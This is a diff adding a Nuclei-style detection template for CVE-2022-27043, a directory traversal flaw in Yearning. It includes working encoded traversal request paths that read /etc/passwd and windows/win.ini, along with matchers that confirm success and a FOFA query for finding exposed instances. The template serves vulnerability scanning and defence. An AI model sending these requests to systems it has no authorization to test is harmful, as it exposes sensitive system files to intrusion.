Create CVE-2022-27043

http/cves/2022/CVE-2022-27043

@@ -0,0 +1,32 @@
+id: CVE-2022-27043
+
+info:
+  name: Yearning Directory Traversal
+  author: Co5mos
+  severity: high
+  description: |
+    Yearning has a directory traversal vulnerability that can be exploited by attackers to obtain sensitive information. The vulnerability is present in multiple versions of Yearning.
+  metadata:
+    fofa-query: 'app="Yearning"'
+  tags: yearning, lfi
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/front//%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd"
+      - "{{BaseURL}}/front//%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/windows/win.ini"
+
+    matchers-condition: or
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "bit app support"
+          - "fonts"
+          - "extensions"
+        condition: and
+
+      - type: regex
+        part: body
+        regex:
+          - "root:.*:0:0"